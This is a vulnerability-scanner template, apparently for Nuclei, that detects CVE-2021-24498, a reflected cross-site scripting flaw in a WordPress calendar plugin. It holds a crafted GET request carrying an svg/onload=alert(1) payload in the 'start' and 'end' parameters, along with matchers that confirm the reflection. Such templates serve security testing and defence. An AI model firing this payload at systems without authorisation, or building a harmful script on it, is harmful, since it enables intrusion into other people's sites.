37 lines
1.2 KiB
YAML
37 lines
1.2 KiB
YAML
id: CVE-2021-24498
|
|
|
|
info:
|
|
name: Calendar Event Multi View < 1.4.01 - Unauthenticated Reflected Cross-Site Scripting (XSS)
|
|
author: suman_kar
|
|
description: The plugin does not sanitise or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.
|
|
severity: medium
|
|
tags: cve,cve2021,xss,wordpress,wp-plugin
|
|
reference: https://wpscan.com/vulnerability/3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
|
|
Connection: close
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '><svg/onload=alert(1)><'
|
|
- 'Calendar Details'
|
|
part: body
|
|
condition: and
|
|
|
|
- type: word
|
|
words:
|
|
- 'text/html'
|
|
part: header
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|